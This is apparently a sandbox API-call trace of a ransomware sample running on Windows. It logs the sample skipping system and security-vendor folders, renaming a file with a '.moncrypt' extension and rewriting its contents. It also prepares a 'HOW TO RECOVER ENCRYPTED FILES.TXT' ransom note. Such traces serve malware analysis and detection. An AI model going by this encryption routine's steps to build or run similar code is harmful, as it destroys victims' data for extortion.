shared\\translat\\fren\\") returned 0x3d [0055.148] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0055.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7b8, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0055.148] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.148] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.148] GlobalUnlock (hMem=0x44000c) returned 0 [0055.148] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.148] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.148] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.148] GlobalUnlock (hMem=0x44000c) returned 0 [0055.148] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.148] GlobalUnlock (hMem=0x440004) returned 0 [0055.148] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\fren\\") returned 0x3d [0055.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0055.148] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\fren\\") returned 0x3d [0055.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a740, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0055.148] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\fren\\") returned 0x3d [0055.149] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a740, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0055.149] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\fren\\") returned 0x3d [0055.149] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0055.149] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\fren\\") returned 0x3d [0055.149] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0055.149] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\fren\\") returned 0x3d [0055.149] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a740, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0055.149] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\fren\\") returned 0x3d [0055.149] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a740, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0055.149] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\fren\\") returned 0x3d [0055.149] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a740, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0055.149] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\fren\\") returned 0x3d [0055.149] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0055.149] GlobalLock (hMem=0x440004) returned 0x550170 [0055.149] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.149] GlobalUnlock (hMem=0x440004) returned 0 [0055.149] GlobalLock (hMem=0x440004) returned 0x550170 [0055.149] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.149] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.149] GlobalUnlock (hMem=0x440004) returned 0 [0055.149] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.149] GlobalUnlock (hMem=0x44000c) returned 0 [0055.149] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0055.150] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.150] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb22e200, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb22e200, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.DLL", cAlternateFileName="")) returned 1 [0055.150] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0055.150] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.150] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.150] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.150] GlobalUnlock (hMem=0x44000c) returned 0 [0055.150] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.150] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.150] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.150] GlobalUnlock (hMem=0x44000c) returned 0 [0055.150] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.150] GlobalUnlock (hMem=0x440004) returned 0 [0055.150] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.150] CharLowerBuffW (in: lpsz="MSB1FREN.DLL", cchLength=0xc | out: lpsz="msb1fren.dll") returned 0xc [0055.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.151] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0055.151] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0055.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpUsedDefaultChar=0x0) returned 4 [0055.151] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0055.151] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.151] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.151] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.151] GlobalUnlock (hMem=0x440004) returned 0 [0055.151] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.151] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.151] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.151] GlobalUnlock (hMem=0x440004) returned 0 [0055.151] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.151] GlobalUnlock (hMem=0x44000c) returned 0 [0055.151] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.151] CharLowerBuffW (in: lpsz="MSB1FREN.ITS", cchLength=0xc | out: lpsz="msb1fren.its") returned 0xc [0055.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.152] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.152] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0055.152] CharLowerBuffW (in: lpsz=".ITS", cchLength=0x4 | out: lpsz=".its") returned 0x4 [0055.152] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".its", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".itsShared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpUsedDefaultChar=0x0) returned 4 [0055.152] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.152] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0055.153] CloseHandle (hObject=0x18c) returned 1 [0055.153] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\я")) returned 1 [0055.154] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x238a8600, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x238a8600, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xcd2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.ITS", cAlternateFileName="")) returned 0x54e240 [0055.154] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0055.154] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0055.154] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0055.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", dwFileAttributes=0x20) returned 1 [0055.155] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0055.155] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its.moncrypt")) returned 1 [0055.156] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.156] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0055.156] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xcd2ac [0055.156] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0055.156] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0055.158] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.158] GlobalLock (hMem=0x440004) returned 0x55bb88 [0055.158] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0055.158] GlobalUnlock (hMem=0x440004) returned 0 [0055.158] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0055.158] GlobalLock (hMem=0x440004) returned 0x55bb88 [0055.158] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0055.158] GlobalUnlock (hMem=0x440004) returned 0 [0055.159] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0055.159] GlobalLock (hMem=0x440004) returned 0x55bb88 [0055.159] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.159] GlobalUnlock (hMem=0x44000c) returned 0 [0055.159] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0055.159] GlobalUnlock (hMem=0x440004) returned 0 [0055.159] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.159] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.159] GlobalUnlock (hMem=0x440004) returned 0 [0055.159] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0055.159] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.159] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.159] GlobalUnlock (hMem=0x440004) returned 0 [0055.159] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0055.160] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0055.160] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0055.161] SetFilePointer (in: hFile=0x18c, lDistanceToMove=840364, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xcd2ac [0055.161] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0055.163] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0055.163] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0055.174] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0055.174] CloseHandle (hObject=0x18c) returned 1 [0055.192] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.192] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0055.192] CloseHandle (hObject=0x18c) returned 1 [0055.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS.moncrypt", dwFileAttributes=0x20) returned 1 [0055.193] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0055.193] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.193] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.193] GlobalUnlock (hMem=0x440004) returned 0 [0055.193] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.193] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.193] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.193] GlobalUnlock (hMem=0x440004) returned 0 [0055.193] 